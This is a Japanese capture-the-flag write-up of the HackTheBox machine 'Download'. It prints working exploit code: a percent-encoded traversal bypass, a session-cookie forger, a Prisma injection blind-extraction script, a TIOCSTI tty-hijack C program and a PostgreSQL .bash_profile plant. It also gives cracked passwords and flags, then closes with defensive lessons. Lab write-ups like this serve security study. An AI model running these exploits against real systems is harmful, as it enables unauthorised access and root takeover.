HackTheBox: Download — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
22/80
nginx unsafe-URI バイパス
全文字%XXエンコード+1階層LFI
→
全文字%XXエンコード+1階層LFI
app.js 漏洩
cookie-session 署名鍵
→
cookie-session 署名鍵
cookie 自前署名偽造
HMAC-SHA1 keygrip方式
→
HMAC-SHA1 keygrip方式
Prisma Query Injection
ブラインドMD5抽出
→
ブラインドMD5抽出
wesley シェル
user.txt ✓
→
user.txt ✓
DB資格情報漏洩
systemd service 平文
→
systemd service 平文
COPY + .bash_profile
pg_write_server_files
→
pg_write_server_files
TIOCSTI TTY hijack
su -l postgres を継承
→
su -l postgres を継承
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとサイト概観
BASH
nmap -Pn -p- --min-rate 3000 10.129.83.19 nmap -Pn -sV -sC -p 22,80 10.129.83.19
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://download.htb
BASH
echo "10.129.83.19 download.htb" | sudo tee -a /etc/hosts
ℹ️
トップページは「会員登録不要・ファイルサイズ制限無し・放置ファイルは自動削除」を謳う
ファイル共有サービス。アップロード時に
Server: Express、
Set-Cookie: download_session=...; download_session.sig=... という2本立てCookieが
確認でき、express の cookie-session ミドルウェアと分かる。
PHASE 2
nginx “unsafe URI” 正規化バイパス → LFI でソース漏洩
ダウンロードリンクの構造を把握
BASH
curl -s -L -D - -o /dev/null http://download.htb/files/upload -F "file=@test.txt"
RESULT
Location: /files/view/9f8ff62b-80e6-41b5-b015-9a098e756d8f ... href="/files/download/9f8ff62b-80e6-41b5-b015-9a098e756d8f"
ℹ️
ダウンロードは
/files/download/<UUID>。素朴な
../../../../etc/passwd はすべて nginx が
400 Bad Request を返して拒否する。
nginx の拒否ルールを特定する
NOTE
nginx の複合URI正規化処理 (いわゆる "unsafe URI" チェック) は、 ".." による上位ディレクトリ移動が「そのリクエストURI自身のパス階層を 超えて」ルートより上に出ようとする場合のみ 400 を返す。 /files/download/../../etc/passwd (2階層分の "../") → /files/download は2階層あるのでギリギリ許容 → 200 (通る) /files/download/../../../etc/passwd (3階層分の "../") → 1階層分オーバー → 400 (拒否)
BASH
# 階層数を変えて検証
for n in 1 2 3; do
dots=$(python3 -c "print('../'*$n)")
curl -s --path-as-is -o /dev/null -w "n=$n: %{http_code}\n" \
"http://download.htb/files/download/${dots}etc/passwd"
done
RESULT
n=1: 200 n=2: 200 n=3: 400
🚨
1階層分の traversal (
../) に抑えれば nginx のチェックを通過できる。
あとは Express 側がそれを正しく decode して実際のファイルシステムパスへ解決してくれるかが鍵。
全文字パーセントエンコードで Express まで到達させる
NOTE
単純な "../app.js" のままだと(たとえ1階層でも) nginx の判定対象文字列に そのまま載るため、別の形式に変換する必要がある。 "../app.js" の 全文字を1文字ずつ %XX にパーセントエンコードすると、 nginx 側は文字列として ".." を直接認識できず素通りし、Express側の URL decode で正しく "../app.js" に戻ってからルーティング・ファイル解決される。 ../app.js → %2e%2e%2f%61%70%70%2e%6a%73
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%61%70%70%2e%6a%73
RESULT (app.js 抜粋)
const express_1 = __importDefault(require("express"));
...
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
✅
cookie-session の署名鍵がソースにハードコードされている!
同じ手法で
routers/home.js・routers/auth.js・
middleware/auth.js も読み出せる。
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%72%6f%75%74%65%72%73%2f%68%6f%6d%65%2e%6a%73
RESULT (routers/home.js)
router.get("/", auth_1.default, async (req, res) => {
const files = await client.file.findMany({
where: { author: req.session.user },
select: { id: true, uploadedAt: true, size: true, name: true,
private: true, authorId: true,
author: { select: { username: true } } },
});
res.render("home.njk", { files });
});
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%6d%69%64%64%6c%65%77%61%72%65%2f%61%75%74%68%2e%6a%73
RESULT (middleware/auth.js)
exports.default = (req, res, next) => {
if (!req.session || !req.session.user) {
return res.redirect("/auth/login");
}
next();
};
🚨
二重の脆弱性が判明: ①認証ミドルウェアは
session.user が
truthy かどうかしか見ておらず DB 上の実在確認をしない。②session.user を
そのまま Prisma の where フィルタとして使っている
(Query Injection)。鍵さえ偽造できれば両方を同時に突ける。
PHASE 3
cookie-session 自前署名偽造 → Prisma Query Injection オラクル確立
cookie-session (keygrip) の署名方式
NOTE
express の cookie-session は内部で keygrip ライブラリを使って署名する。 署名対象は「base64値そのもの」ではなく "<cookie名>=<base64(JSON文字列)>" という文字列全体。これを HMAC-SHA1 で計算し、結果を base64url (パディング無し、+/ を -_ に置換) で符号化したものが .sig の値になる。
PYTHON (cookie 偽造関数)
import base64, hashlib, hmac, json
SECRET = "8929874489719802418902487651347865819634518936754"
COOKIE_NAME = "download_session"
def sign_cookie(session_obj):
data_json = json.dumps(session_obj, separators=(",", ":"))
data_b64 = base64.b64encode(data_json.encode()).decode()
signing_input = f"{COOKIE_NAME}={data_b64}"
sig = hmac.new(SECRET.encode(), signing_input.encode(), hashlib.sha1).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b"=").decode()
return data_b64, sig_b64
⚠️
署名対象を「base64値のみ」だと誤解しやすい罠がある。必ず
"<cookie名>=<base64値>" という文字列全体を HMAC すること。
偽造 cookie で任意の session.user を注入
PYTHON
import requests
data_b64, sig_b64 = sign_cookie({"user": {"id": {"not": -1}}})
r = requests.get(
"http://download.htb/home/",
cookies={"download_session": data_b64, "download_session.sig": sig_b64},
)
print(r.status_code, len(r.text))
RESULT
200 22206
<h2>Hey !</h2>
<h3>Your uploaded files:</h3>
...
<h4>VacationIdeas.doc</h4>
<strong>Uploaded By: </strong>AyufmApogee<br />
...
✅
認証バイパス成功! ログイン手続き無しで
/home/ の全ファイル一覧を取得できた。
Prisma の id: {not: -1} のような比較演算子オブジェクトをそのまま
session.user に注入できている。
PHASE 4
ブラインド MD5 ハッシュ抽出 & user.txt
レスポンス長オラクルの確立
NOTE
session.user = {username:{contains:"WESLEY"}, password:{startsWith:c}}
を偽造して /home/ を叩くと、Prisma は
「username に WESLEY を含み、かつ password が c から始まる」
ファイルの著者でフィルタする。条件に合致するファイルが1件でもあれば
レスポンス本文にファイル一覧カードが追加されて長くなる。
「ヒット無し」の基準レスポンス長と比較するだけでブラインドオラクルになる。
※ WEBアプリ上のユーザー名は大文字 "WESLEY"。
SSHログイン用Unixアカウント名の小文字 "wesley" とは別物なので注意。
PYTHON (ブラインド抽出スクリプト)
def oracle_len(user_filter):
d, s = sign_cookie({"user": user_filter})
r = requests.get("http://download.htb/home/",
cookies={"download_session": d, "download_session.sig": s})
return len(r.text)
baseline = oracle_len({"username": {"contains": "WESLEY"},
"password": {"startsWith": "ZZZ_no_match"}})
chars = "abcdef0123456789"
prefix = ""
for _ in range(32):
for c in chars:
length = oracle_len({"username": {"contains": "WESLEY"},
"password": {"startsWith": prefix + c}})
if length != baseline:
prefix += c
print(f"found: {prefix}")
break
print("FINAL HASH:", prefix)
RESULT
found: f
found: f8
found: f88
...
FINAL HASH: f88976c10af66915918945b9679b2bd3
ハッシュクラック & SSH ログイン
BASH
echo "f88976c10af66915918945b9679b2bd3" > hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --quiet --potfile-disable
RESULT
f88976c10af66915918945b9679b2bd3:dunkindonuts
BASH
sshpass -p 'dunkindonuts' ssh wesley@download.htb "id; cat ~/user.txt"
RESULT
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
29d6384100a55658f9d8ed9f6c67c0ff
user.txt — wesley@download
29d6384100a55658f9d8ed9f6c67c0ff
PHASE 5
PostgreSQL 資格情報の漏洩と pg_write_server_files 権限の確認
su -l postgres の周期実行を観測 (pspy 的手法)
BASH
wesley@download:~$ for i in $(seq 1 30); do ps -eo pid,ppid,user,cmd | grep -E 'su |postgres' | grep -v grep sleep 5 done
RESULT (抜粋)
4194 4177 root su -l postgres 4196 4194 postgres -bash 4210 4196 postgres /usr/lib/postgresql/12/bin/psql
🚨
root が周期的に(観測上おおよそ数十秒〜数分間隔、変動あり)
su -l postgres を
実行している。-bash (先頭にハイフン) であることからログインシェル
として起動されており、postgres の ~/.bash_profile が sourced される対象になる。
DB接続情報のハードコードを発見
BASH
wesley@download:~$ grep -rl "localhost:5432" / 2>/dev/null wesley@download:~$ cat /etc/systemd/system/download-site.service
RESULT
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"
download ロールの権限確認
BASH
wesley@download:~$ psql -h localhost -p 5432 -U download download download=> \du
RESULT
Role name | Attributes | Member of
-----------+---------------------------------------------+-------------------------
download | | {pg_write_server_files}
postgres | Superuser, Create role, Create DB, ... | {}
✅
pg_write_server_files ロールを持つため、
COPY (SELECT ...) TO '<サーバー側任意パス>' で postgres プロセスの
権限でファイルを書き込める。狙うのは postgres の ~/.bash_profile。
PHASE 6
.bash_profile 仕込み + TIOCSTI TTY Hijacking → root.txt
TIOCSTI exploit の準備
NOTE
su -l postgres が起動する postgres の login shell は、それを起動した
root の対話シェルの tty をそのまま引き継ぐ。TIOCSTI ioctl を使うと、
「あたかもそのtty上でユーザーがキー入力した」かのように文字列を
カーネルの入力バッファへ注入できる。
戦略:
1. postgres の .bash_profile を自前の exploit バイナリ実行に差し替える
2. 次回 su -l postgres が走った瞬間、postgres の login shell が
それを sourcing → exploit が /dev/tty へ
"exit\n/bin/bash -c 'chmod 4777 /bin/bash;'\n"
を注入
3. "exit" が postgres の login shell を即座に終了させ、制御が
「su を呼んだ root の対話シェル」に戻った瞬間に
続く chmod コマンドが「rootが打った」ことになり実行される
C (tty_hijack.c)
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) { perror("open"); return -1; }
char *x = "exit\n/bin/bash -c 'chmod 4777 /bin/bash;'\n";
while (*x != 0) {
ioctl(fd, TIOCSTI, x);
x++;
}
return 0;
}
BASH
# GLIBC 不一致を避けるため static でビルドし wesley として転送 gcc -o exploit exploit.c -static scp exploit wesley@download.htb:/tmp/.dl_exploit ssh wesley@download.htb "chmod +x /tmp/.dl_exploit"
ℹ️
動作確認として、
ssh -tt wesley@download.htb "/tmp/.dl_exploit"
のように自分自身の対話ttyに対して直接実行すると、注入された
exit がそのシェルを即座に終了させる挙動で TIOCSTI 自体の
動作を素早く検証できる(非対話SSHだと /dev/tty が存在せず
open: No such device or address になる)。
COPY で .bash_profile を仕込む (罠: SQLクォート)
NOTE
PostgreSQL では 'リテラル'(シングルクォート) と "識別子"(ダブルクォート)
は全く別の構文。シェル経由で psql -c "..." を組み立てようとして内部も
ダブルクォートでエスケープすると、CAST("payload" AS text) は
「payload という名のカラムを参照する」識別子構文として解釈され、
COPY全体がサイレントに失敗する(エラーも出ず単にファイルが出来ない)。
対策: 必ずシングルクォートのリテラルのみを使い、
ローカルで .sql ファイルとして組み立てて psql -f で実行する。
BASH
# trigger.sql (ローカルで作成 → scp で転送)
cat > trigger.sql << 'EOF'
COPY (SELECT CAST('/tmp/.dl_exploit;' AS text))
TO '/var/lib/postgresql/.bash_profile';
EOF
scp trigger.sql wesley@download.htb:/tmp/trigger.sql
🚨
さらに重要な罠:
.bash_profile に書き込むコマンドに
>/>> のようなリダイレクトを含めると、このログイン
コンテキストでは一切実行されずサイレント失敗する(原因未特定、
id > /tmp/out.log レベルの単純な出力捕捉ですら発火しなかった)。
デバッグ出力を諦め、リダイレクトを含まない単純なコマンド列のみ
(今回は /tmp/.dl_exploit; の直接実行)にする必要がある。
1秒間隔リトライで su サイクルを待ち受ける
NOTE
postgres の HOME 配下は(su 周期とは独立に)短時間で内容が消えることが 実機で観測されたため、.bash_profile の書き込みは「1回書いて待つ」では 当たらないことが多い。1秒間隔で COPY を撃ち続け、狙っている副作用 (/bin/bash のパーミッションが 4777 になるか) を毎秒ポーリングする 力技のリトライループが必要。
BASH
# race.sh (wesley 上で実行、PGPASSWORD は Phase 5 で窃取した値)
export PGPASSWORD=CoconutPineappleWatermelon
for i in $(seq 1 280); do
psql -h localhost -p 5432 -U download -d download -f /tmp/trigger.sql >/dev/null 2>&1
perm=$(stat -c '%a' /bin/bash)
if [ "$perm" = "4777" ]; then
echo "ROOT_SUCCESS iter=$i"
break
fi
sleep 1
done
RESULT
ROOT_SUCCESS iter=30
✅
TTY hijack 成功! 30秒ほどのリトライで root の対話シェルに
chmod 4777 /bin/bash を「打ち込ませる」ことに成功した。
root.txt 取得
BASH
wesley@download:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley) d9fc3c41849ea77c643647c3656a7225
root.txt — root@download
d9fc3c41849ea77c643647c3656a7225
ℹ️
攻略後は
chmod 755 /bin/bash で SUID ビットを戻し、仕込んだ
.bash_profile・exploit バイナリ・トリガーSQLを削除して後片付けする。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — wesley@download
29d6384100a55658f9d8ed9f6c67c0ff
root.txt — root@download
d9fc3c41849ea77c643647c3656a7225
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| nginx unsafe-URI バイパス | /files/download/:id ルート | 認証不要のソースコード漏洩 (LFI) | High | traversalを1階層に抑えつつ全文字%XXエンコードしてnginxの拒否ルールを回避 |
| ハードコードされた署名鍵 | express cookie-session (app.js) | 任意セッション偽造 | Critical | LFIで取得した固定鍵でHMAC-SHA1署名を自前計算しcookieを偽造 |
| Prisma Query Injection | routers/home.js (findMany where) | 認証バイパス + ブラインドデータ抽出 | Critical | session.userをPrismaフィルタオブジェクトとして注入しレスポンス長オラクル化 |
| ハードコードされたDB資格情報 | systemd ユニットファイル | DBアクセス権奪取 | Medium | download-site.service の DATABASE_URL を平文のまま読み出し |
| pg_write_server_files + TTY hijacking | postgres ロール / su -l postgres | 権限昇格 (root) | Critical | COPYでbash_profileを書換え、root由来ttyへTIOCSTIでコマンドを注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + cookie構造観察 | 22/80、Express/cookie-session検出 |
| 2 | LFIバイパス | unsafe-URI回避 + 全文字%XXエンコード | app.js・各routerソース、cookie-session署名鍵 |
| 3 | cookie偽造 | HMAC-SHA1自前署名(keygrip方式) | 任意session.user注入、認証バイパス |
| 4 | Query Injection | レスポンス長ブラインドオラクル | user.txt(WESLEYのMD5ハッシュ→dunkindonuts) |
| 5 | DB権限調査 | systemdサービスファイル読取 + \du | download:CoconutPineappleWatermelon、pg_write_server_files確認 |
| 6 | TTY hijack | COPY+.bash_profile+TIOCSTI | root.txt(SUID /bin/bash) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| nginxの複合URI正規化が深さ超過時のみ拒否するため部分的なtraversalが通る | アプリ側でもpath.resolve()後に許可ディレクトリ配下かを明示検証する。nginx側のブラックリスト依存は避ける。 |
| Webアプリのソースコード(署名鍵含む)が同一Webルート経由で読み出せる | ソースコードはWebルート外に配置し、少なくともアップロードファイル配信用ルートとは物理的に分離する。 |
| セッション署名鍵がハードコードされ全インスタンス共通 | 署名鍵は環境変数・シークレットマネージャから起動時注入し、インスタンスごとにランダム生成する。 |
| ORMのwhere句にクライアント入力(ここではセッション由来のオブジェクト)を無検証で渡している | Prisma等のORMでは許可するフィールド・演算子をホワイトリスト化し、ユーザー入力を直接フィルタオブジェクトとして渡さない。 |
| DB接続文字列がsystemdユニットファイルに平文ハードコード、しかも全ユーザー閲覧可能 | Environment=はsystemd credentials機能やシークレットマネージャ経由にし、ユニットファイルのパーミッションも制限する。 |
| DBロールにpg_write_server_filesを不用意に付与 | アプリ専用DBロールには必要最小限の権限のみ付与し、ファイルシステム書込系のロールは絶対に避ける。 |
| root管理タスクがsu経由で対話tty上で実行され、子プロセスにtty制御権限(TIOCSTI)が残る | 管理タスクはsuでなくsudo+専用コマンドに限定するか、少なくとも新規ptyを割り当てて(TIOCSTI無効化等のハードニングを施して)実行する。 |

